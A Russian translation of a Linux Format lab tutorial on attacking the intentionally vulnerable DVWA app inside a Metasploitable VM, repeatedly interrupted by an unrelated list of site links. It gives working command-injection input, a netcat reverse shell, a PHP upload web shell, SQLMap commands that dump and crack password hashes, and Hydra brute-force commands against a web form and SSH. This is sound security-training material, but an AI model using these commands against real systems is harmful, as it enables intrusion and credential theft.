LXF167:Внедряться в сервер
|
|
|
Безопасность. Осознайте трюки злых хакеров и храните свои серверы в целости
Содержание |
DVWA: Взлом web-приложений
На свете много людей, влезающих в web-приложения потехи ради и для заработка. Бен Эверард покажет, как они норовят употреблять сайты.
Как боевые искуства можно применять для самозащиты, так и навыки взлома пригодятся для идентификации слабых мест ваших серверов и их защиты. Слабые места есть у любой компьютерной системы; искусство заключается в том, чтобы найти их раньше взломщика. Во второй части нашего курса черной магии мы рассмотрим web-приложения и вносимые ими потенциальные опасности.
Web-приложения – благодатная почва для уязвимостей, так как им уделяют меньше внимания, чем другим областям. К примеру, сотни – если не тысячи – людей видели исходный код Apache и работали с ним, то есть он отлично изучен на предмет ошибок. А сколько людей видели исходный код среднего web-приложения? 10? 20? Меньше? При взрывном росте числа людей, именующих себя web-разработчиками, многие ли из них действительно разбираются в практике безопасного программирования?
Для выявления возможных проблем безопасности существуют специально разработанные web-приложения. Ранее, в LXF159, мы рассмотрели WebGoat, а сейчас собираемся использовать Damn Vulnerable Web Application [Чертовски уязвимое web-приложение], DVWA. В отличие от WebGoat, это не набор уроков, а незащищенный сайт, и на нем мы будем оттачивать наши навыки.
Первый шаг – заставить его работать. Можете настроить сервер на своей машине и запустить его локально, но мы-то запустим его на виртуальной машине Metasploitable, которую можно скачать c www.sourceforge.net/projects/metasploitable. Также вам понадобится VirtualBox, наверняка имеющийся в репозитории вашего дистрибутива. Загрузив его, следуйте пошаговым инструкциям, чтобы ваша система заработала.
Если все в порядке, вы сможете запустить браузер и ввести адрес http://192.168.56.101 (если он уже есть в вашей локальной сети, надо будет изменить настройки VirtualBox) и получить список доступных web-приложений. Щелкните на DVWA и войдите как admin:password.
В DVWA три уровня безопасности. Уровень Low [Низкий] – самый легкий, его мы и будем использовать для начала (нажмите на DVWA Security [Безопасность], затем выберите Low и нажмите Submit [Подтвердить]). Medium [Средний] призван дать вам задачу посложнее, после изучения основ. Высокий [High] предназначен для демонстрации хорошей практики кодирования – преднамеренно в нем уязвимости не заложены (разумеется, это не означает, что их здесь нет).
Выполнение команды
Первая функция, которую мы атакуем – Выполнение команды [Command execution]. Выбрав этот пункт, вы найдете web-приложение, позволяющее пинговать другие машины. Попробуйте его, введя IP-адрес хоста (192.168.56.1, если вы использовали настройки по умолчанию). Приложение работает, передавая ввод команде ping. Сама по себе, ping не особо полезна для нас, но она предоставляет доступ к командной строке. Если мы введем 192.168.56.1; pwd, система выполнит:
ping 192.168.56.1; pwd
и выведет результат на экран. В данном случае мы увидим текущий каталог. Уже неплохо, чтобы отыскать конкретные файлы, но мы, разумеется, метим выше. Например, можно получить список всех пользователей в системе:
192.168.56.1; cat /etc/passwd | cut -d: -f1
Чуть позже мы применим этот прием для атаки грубой силой [brute force].
Метод ввода команд через ping-интерфейс можно бы и развить, но он не слишком удобен. Нам бы намного полегчало, имей мы доступ к оболочке. У нас нет полномочий на вход в систему, поэтому хорошо бы запустить на сервере команду, которая соединится с нашей локальной машиной и выдаст нам доступ. Это называется оболочкой-оборотнем [reverse shell], так как работает в направлении, противоположном нормальным оболочкам вроде SSH или Telnet. Есть несколько способов этого добиться (некоторые люди даже превратили это в форму искусства), но мы возьмем самый простой: через nc.
Это простая команда для отправки данных через сетевое соединение. Мы можем использовать ее для отправки ввода и вывода оболочки на другую машину. Перед запуском чего-либо на машине жертвы, мы должны прослушать входящие соединения. На своем хосте выполните
nc -l -v 4444
4444 – это порт, который мы используем. Порт может быть любым, если он не конфликтует с другими серверными приложениями, но одинаковым на обеих машинах.
Теперь после ping введите
192.156.56.1; nc -c /bin/sh 192.168.56.1 4444
Флаг -c велит nc выполнить команду /bin/sh. Будучи зияющей дырой в безопасности, эта опция должна быть отключена на всех промышленных серверах.
На вашей машине вы увидите строку:
Connection from 192.168.56.101 port 4444 [tcp/krb524] accepted
[Подключение от 192.168.56.101 порт 4444 [tcp/krb524] принято]
Теперь все вводимые вами команды будут работать на машине-жертве. Выполните whoami, чтобы проверить это.
Если вы обнаружите, что в nc ничего не приходит, возможно, дело в брандмауэре на вашей машине. Обратитесь к документации вашего дистрибутива, чтобы узнать, как временно отключить брандмауэр.
Почувствовав себя уверенно, повысьте уровень безопасности до среднего и повторите попытку. Сработает тот же принцип, но... ведь весь смысл тестов на вторжение – в упражнении на догадливость, так что попробуйте-ка сами. Посмотрите Совет 1 – или Решение 1 на последней странице, если вам нужны подсказки. Конечно, такую функцию имеют немногие сайты. {Врезка|right|Ширина=40%|Заголовок=Mutillidae |Содержание= Еще одно из уязвимых web-приложений, включенных в Metasploitable – Mutillidae. Если вы следили за нашим циклом по безопасности, вы должны были набраться достаточно знаний, чтобы атаковать его – ну, почти достаточно. Но сначала там надо исправить ошибку в конфигурации. Войдите в виртуальную машину Metasploitable через msfadmin/msfadmin и выполните cd /var/www/mutillidae. Откройте от имени суперпользователя config.inc в текстовом редакторе, например:
- Метамодернизм в позднем творчестве В.Г. Сорокина
- ЛитРПГ - последняя отрыжка постмодерна
- "Ричард III и семиотика"
- 3D-визуализация обложки Ridero создаем обложку книги при работе над самиздатом.
- Архитектура метамодерна - говоря о современном искусстве, невозможно не поговорить об архитектуре. В данной статье будет отмечено несколько интересных принципов, характерных для построек "новой волны", столь притягательных и скандальных.
- Литература
- Метамодерн
- Рокер-Прометей против изначального зла в «Песне про советскую милицию» Вени Дркина, Автор: Нина Ищенко, к.ф.н, член Союза Писателей ЛНР - перепубликация из журнала "Топос".
- Как избавиться от комаров? Лучшие типы ловушек.
- Что делать если роблокс вылетает на windows
- Что делать, если ребенок смотрит порно?
- Почему собака прыгает на людей при встрече?
- Какое масло лить в Задний дифференциал (мост) Visco diff 38434AA050
- О чем может рассказать хвост вашей кошки?
- Верветки
- Отчетность бюджетных учреждений при закупках по Закону № 223-ФЗ
- Срок исковой давности как правильно рассчитать
- Дмитрий Патрушев минсельхоз будет ли преемником Путина
- Кто такой Владислав Поздняков? Что такое "Мужское Государство" и почему его признали экстремистским в России?
- Как правильно выбрать машинное масло в Димитровграде?
- Как стать богатым и знаменитым в России?
- Почему фильм "Пипец" (Kick-Ass) стал популярен по всему миру?
- Как стать мудрецом?
- Как правильно установить FreeBSD
- Как стать таким как Путин?
- Где лучше жить - в Димитровграде или в Ульяновске?
- Почему город Димитровград так называется?
- Что такое метамодерн?
- ВАЖНО! Временное ограничение движения автотранспортных средств в Димитровграде
- Тарифы на электроэнергию для майнеров предложено повысить
sudo nano config.inc
и измените строку
$dbname = ‘metasploitable’;
на
$dbname = ‘owasp10’;
После сохранения файла (в nano — Ctrl + X, ‘Y’) Mutillidae должно работать нормально. Оно построено вокруг самых распространенных сетевых уязвимостей, и там много способов проникнуть внутрь.}}
Теперь рассмотрим общий взгляд – загрузку изображений. Эта уязвимость возникает из-за способа работы динамических web-языков.
- Метамодернизм в позднем творчестве В.Г. Сорокина
- ЛитРПГ - последняя отрыжка постмодерна
- "Ричард III и семиотика"
- 3D-визуализация обложки Ridero создаем обложку книги при работе над самиздатом.
- Архитектура метамодерна - говоря о современном искусстве, невозможно не поговорить об архитектуре. В данной статье будет отмечено несколько интересных принципов, характерных для построек "новой волны", столь притягательных и скандальных.
- Литература
- Метамодерн
- Рокер-Прометей против изначального зла в «Песне про советскую милицию» Вени Дркина, Автор: Нина Ищенко, к.ф.н, член Союза Писателей ЛНР - перепубликация из журнала "Топос".
- Как избавиться от комаров? Лучшие типы ловушек.
- Что делать если роблокс вылетает на windows
- Что делать, если ребенок смотрит порно?
- Почему собака прыгает на людей при встрече?
- Какое масло лить в Задний дифференциал (мост) Visco diff 38434AA050
- О чем может рассказать хвост вашей кошки?
- Верветки
- Отчетность бюджетных учреждений при закупках по Закону № 223-ФЗ
- Срок исковой давности как правильно рассчитать
- Дмитрий Патрушев минсельхоз будет ли преемником Путина
- Кто такой Владислав Поздняков? Что такое "Мужское Государство" и почему его признали экстремистским в России?
- Как правильно выбрать машинное масло в Димитровграде?
- Как стать богатым и знаменитым в России?
- Почему фильм "Пипец" (Kick-Ass) стал популярен по всему миру?
- Как стать мудрецом?
- Как правильно установить FreeBSD
- Как стать таким как Путин?
- Где лучше жить - в Димитровграде или в Ульяновске?
- Почему город Димитровград так называется?
- Что такое метамодерн?
- ВАЖНО! Временное ограничение движения автотранспортных средств в Димитровграде
- Тарифы на электроэнергию для майнеров предложено повысить
Если сайт состоит из статических страниц, то при запросе страницы web-сервер просто находит файл, соответствующий странице, и отправляет его нам. Однако для web-сервера с использованием языка программирования, например, PHP, это происходит немного иначе: при запросе страницы сервер находит соответствующий странице скрипт, запускает его и посылает нам его вывод (это и будет HTML, который отобразится в браузере).
- Метамодернизм в позднем творчестве В.Г. Сорокина
- ЛитРПГ - последняя отрыжка постмодерна
- "Ричард III и семиотика"
- 3D-визуализация обложки Ridero создаем обложку книги при работе над самиздатом.
- Архитектура метамодерна - говоря о современном искусстве, невозможно не поговорить об архитектуре. В данной статье будет отмечено несколько интересных принципов, характерных для построек "новой волны", столь притягательных и скандальных.
- Литература
- Метамодерн
- Рокер-Прометей против изначального зла в «Песне про советскую милицию» Вени Дркина, Автор: Нина Ищенко, к.ф.н, член Союза Писателей ЛНР - перепубликация из журнала "Топос".
- Как избавиться от комаров? Лучшие типы ловушек.
- Что делать если роблокс вылетает на windows
- Что делать, если ребенок смотрит порно?
- Почему собака прыгает на людей при встрече?
- Какое масло лить в Задний дифференциал (мост) Visco diff 38434AA050
- О чем может рассказать хвост вашей кошки?
- Верветки
- Отчетность бюджетных учреждений при закупках по Закону № 223-ФЗ
- Срок исковой давности как правильно рассчитать
- Дмитрий Патрушев минсельхоз будет ли преемником Путина
- Кто такой Владислав Поздняков? Что такое "Мужское Государство" и почему его признали экстремистским в России?
- Как правильно выбрать машинное масло в Димитровграде?
- Как стать богатым и знаменитым в России?
- Почему фильм "Пипец" (Kick-Ass) стал популярен по всему миру?
- Как стать мудрецом?
- Как правильно установить FreeBSD
- Как стать таким как Путин?
- Где лучше жить - в Димитровграде или в Ульяновске?
- Почему город Димитровград так называется?
- Что такое метамодерн?
- ВАЖНО! Временное ограничение движения автотранспортных средств в Димитровграде
- Тарифы на электроэнергию для майнеров предложено повысить
Откройте текстовый редактор и создайте новый файл, содержащий
<?php
$output = shell_exec(‘cat /etc/passwd’);
echo $output;
?>
Мы можем использовать функцию shell_exec для запуска любых команд. Здесь мы с ее помощью добыли содержимое /etc/passwd.
Перейдите на страницу загрузки [Upload] в DVWA, нажмите на Browse [Просмотр], выберите файл и нажмите Загрузить [Upload]. Если все пойдет хорошо, вы увидите красное сообщение о том, что файл был загружен успешно и куда он был загружен. Для запуска скрипта нам осталось только нацелить браузер на этот адрес. К примеру, если вы назвали файл mal.php, откройте http://192.168.56.101/hackable/uploads/mal.php.
Как и в предыдущем случае, мы могли бы продолжать запуск команд подобным образом, но удобства тут мало. Лучший вариант – получить обратную оболочку. Хорошие тестировщики вторжений, как и все хорошие кодеры, ленивы; вот и мы не хотим писать собственного оборотня, если кто-то уже сделал черную работу за нас. На www.pentestmonkey.com есть несколько полезных нам инструментов, включая обратную оболочку PHP. Вы можете скачать ее с сайта или взять с нашего DVD. Перед загрузкой на сервер настройте ее для вашей среды. Распакуйте ее и откройте php-reverse-shell.php в текстовом редакторе. Замените строки 49 и 50 такими:
$ip = ‘192.168.56.1’;
$port = 4444;
а точнее, значениями, соответствующими вашей установке.
Сделав это, вы должны запустить слушатель nc на машине, как в предыдущей атаке, затем загрузить файл как с предыдущим скриптом PHP. Теперь у вас должен быть доступ к оболочке сервера. Чувствуя себя уверенно? Установите уровень безопасности в Medium и попробуйте снова. Совет 2 и Решение 2 к вашим услугам, как и раньше.
Кувалдой
В распоряжении тестировщика есть огромное количество способов, а число известных уязвимостей, которыми можно воспользоваться, измеряется десятками тысяч (только в архиве www.exploit-db.com их почти 20 000). Естественно, ни один взломщик все их не упомнит. В предыдущей части этого урока мы рассмотрели SQL-инъекции и на их применение для кражи данных из базы. На сей раз мы собираемся употребить автоматизированный инструмент, который сделает все это за нас. Вы, скорее всего, не найдете SQLMap в репозиториях вашего дистрибутива, но его можно скачать с www.sqlmap.org или взять с DVD. Это скрипт на Python, и его не нужно устанавливать. Просто распакуйте его, откройте терминал в новом каталоге и запустите ./sqlmap.py; но следует немного разжиться информацией, прежде чем мы сможем настроить его для работы.
Этот скрипт проверяет определенный набор SQL-атак на web-страницы. Но прежде чем сделать это, мы должны получить правильную cookie сессии, иначе DVWA не даст SQLMap доступа к странице. Для этого сгодится любой браузер, но следующие инструкции работают для Firefox. Войдите в DVWA с использованием admin/password. Щелкните правой кнопкой мыши на странице и выберите Информация о странице [View Page Info]. Используйте вкладку Защита [Security] и нажмите кнопку Просмотреть куки [View Cookies]. В этом окне вы увидите два cookie: PHPSESSID и security [безопасности]. Последний просто установлен в Low, Medium или High, и мы можем выбрать здесь то, что хотим. Вам нужно будет скопировать содержимое PHPSESSID в командную строку. Обладая этой информацией, мы можем начать нашу атаку на страницу SQL-инъекции DVWA.
Из каталога SQLMap выполните:
./sqlmap.py -u “http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit” --cookie=’PHPSESSID=aa77be5f7ac5f27080d1edc6115c6e5f; security=low’ --dbs
Подставьте для PHPSESSID правильное значение. Вы увидите несколько сообщений; просто введите ‘Y’, чтобы продолжить атаку. Опция --dbs велит SQLMap попытаться украсть список баз данных. Она должна привести к отображению этого списка, включая базу dvwa. Зная имя базы данных, мы можем забраться поглубже. Чтобы получить список таблиц базы данных, выполните команду еще раз, но опустите --dbs и добавьте -D dvwa --tables.
Она найдет две таблицы: guestbook и users. Гостевая книга [guestbook] звучит не слишком волнующе, так что сосредоточимся на users [пользователь]. Используем флаги -D dvwa -T users --dump.
Снова отвечайте ‘Y’ на запросы. SQLMap достаточно умен, чтобы найти хэши паролей, а также включает возможность взломать их. Для надежных паролей может быть лучше просто забрать хэши, а затем применить мощное оборудование для взлома. Ну, а эти пароли не самые безопасные, так что просто введите ‘Y’, чтобы взломать их. Достаточно скоро вы увидите список имен пользователей с паролями, которые позволят вам беспрепятственно войти в DVWA.
У SQLMap есть множество других опций, на которые у нас здесь нет места. Подробности ищите в ./sqlmap --help.
Грубая сила
Не все web-приложения будут настолько любезны, чтобы предоставить нам вход через SQL-инъекции. Иногда единственный способ взлома – это старая добрая лобовая атака. Выше мы увидели, как можно быстро взломать учетные записи, имея доступ к хэшам. В новой атаке мы будем использовать Hydra, инструмент грубого взлома сети, чтобы попытаться прорваться внутрь web-страницы. Это одна из наименее сложных хакерских утилит: она всего-навсего перебирает различные комбинации имя пользователя/пароль вплоть до успеха. Вам понадобиться PHPSESSID (он может устареть, так что убедитесь, что ваш остается в силе, если вы закончили предыдущую атаку некоторое время назад).
В качестве теста запустим его со списком паролей pass.list с DVD (имеется также на www.linuxformat.com/archives). Это текстовый файл с одним паролем в каждой строке, которые Hydra и будет проверять. Там 25 паролей, наиболее часто встречающихся по данным компании ИТ-безопасности ESET. Заодно мы воспользуемся списком имен пользователей в системе, user.list. Если Hydra нет в репозитории вашего дистрибутива, можете взять ее здесь: www.thc.org/thc-hydra.
hydra 192.168.56.101 http-get-form “/dvwa/vulnerabilities/brute/
index.php:username=^USER^&password=^PASS^&Login=Login:incorrect:C=:H=Cookie:security=low; PHPSESSID=aa77be5f7ac5f27080d1edc6115c6e5f” -L ~/user.list -P ~/pass.list
Эта команда ищет файлы с именами пользователей и паролями в домашнем каталоге; измените пути, если они лежат в другом месте. Вообще-то Hydra довольно проста в применении, но в данном случае все выглядит чуть сложнее – потому что мы используем флаг http-get-form. Большинство поддерживаемых протоколов (SSH, FTP и т. д.) имеют явный раздел логина, что упрощает задачу, но в HTTP этого нет, и нам надо быть более гибкими.
Символы ^ указывают Hydra, куда вставлять имена пользователей и пароль в URL (который отделен двоеточием). “incorrect” – слово, которое Hydra ищет на загруженной странице, если вход не удался (см. рис. 1).
Мы также включили несколько имен, найденных в /passwd при первой атаке, и мы можем использовать тот же файл имен пользователей, чтобы увидеть, нельзя ли прорваться через SSH. Выполните
hydra 192.168.56.101 ssh -L ~/user.list -P ~/pass.list -e nsr
На этот раз команда немного понятнее. Флаг -e nsr велит Hydra помимо пароля из файла пробовать пустой пароль, а также совпадающий с именем пользователя и перевернутым именем пользователя. Hydra слишком медленна для реальных шансов подобрать хотя бы относительно безопасный пароль за разумное время. Однако статистика показывает, что большинство людей использует небезопасные пароли, и при наличии списка имен пользователей есть хорошие шансы проникнуть в систему.
Как защитить себя
- Метамодернизм в позднем творчестве В.Г. Сорокина
- ЛитРПГ - последняя отрыжка постмодерна
- "Ричард III и семиотика"
- 3D-визуализация обложки Ridero создаем обложку книги при работе над самиздатом.
- Архитектура метамодерна - говоря о современном искусстве, невозможно не поговорить об архитектуре. В данной статье будет отмечено несколько интересных принципов, характерных для построек "новой волны", столь притягательных и скандальных.
- Литература
- Метамодерн
- Рокер-Прометей против изначального зла в «Песне про советскую милицию» Вени Дркина, Автор: Нина Ищенко, к.ф.н, член Союза Писателей ЛНР - перепубликация из журнала "Топос".
- Как избавиться от комаров? Лучшие типы ловушек.
- Что делать если роблокс вылетает на windows
- Что делать, если ребенок смотрит порно?
- Почему собака прыгает на людей при встрече?
- Какое масло лить в Задний дифференциал (мост) Visco diff 38434AA050
- О чем может рассказать хвост вашей кошки?
- Верветки
- Отчетность бюджетных учреждений при закупках по Закону № 223-ФЗ
- Срок исковой давности как правильно рассчитать
- Дмитрий Патрушев минсельхоз будет ли преемником Путина
- Кто такой Владислав Поздняков? Что такое "Мужское Государство" и почему его признали экстремистским в России?
- Как правильно выбрать машинное масло в Димитровграде?
- Как стать богатым и знаменитым в России?
- Почему фильм "Пипец" (Kick-Ass) стал популярен по всему миру?
- Как стать мудрецом?
- Как правильно установить FreeBSD
- Как стать таким как Путин?
- Где лучше жить - в Димитровграде или в Ульяновске?
- Почему город Димитровград так называется?
- Что такое метамодерн?
- ВАЖНО! Временное ограничение движения автотранспортных средств в Димитровграде
- Тарифы на электроэнергию для майнеров предложено повысить
Мы видели, как безобидные особенности сайта могут сделать сервер уязвимым. Эти атаки могут сработать, даже если вы используете самые современные версии серверного программного обеспечения, поскольку уязвимости находятся в web-приложениях, а не в серверах. Наличие некоторых из этих уязвимостей можно проверить автоматически, и мы видим журналы tuxradar.com, полные предупреждений о попытках запустить атак описанного здесь типа.
Если вы используете web-сервер, необходимо убедиться, что он невосприимчив к таким нападениям. Конкретный метод, который вы можете использовать для самозащиты, зависит от используемой платформы, но лучшее место для старта – именно DVWA. Помните, что есть три уровня безопасности, и высокий существует как иллюстрация хорошей практики. Вы можете углубиться в исходный код (найдя его на Metasploitable или на DVD). В каталоге Vulnerabilities есть подкаталог для каждой области атак. В них вы найдете соответствующий исходный код для каждого уровня. Код доступен под GPLv3, и вы можете свободно его позаимствовать. Согласно условиям GPL, вы только должны открыть исходный код вашего web-приложения, если включите этот код, а затем будете распространять его. Мы надеемся, что вы решите открыть исходный код вашего проекта, но если он обслуживает только страницы с вашего сервера, вы можете держать его закрытым – условия лицензии будут по-прежнему соблюдены.
На каждой странице DVWA вы найдете также раздел дополнительной информации [More Info], содержащий ссылки на другие сайты. Там содержатся богатые сведения о защите. |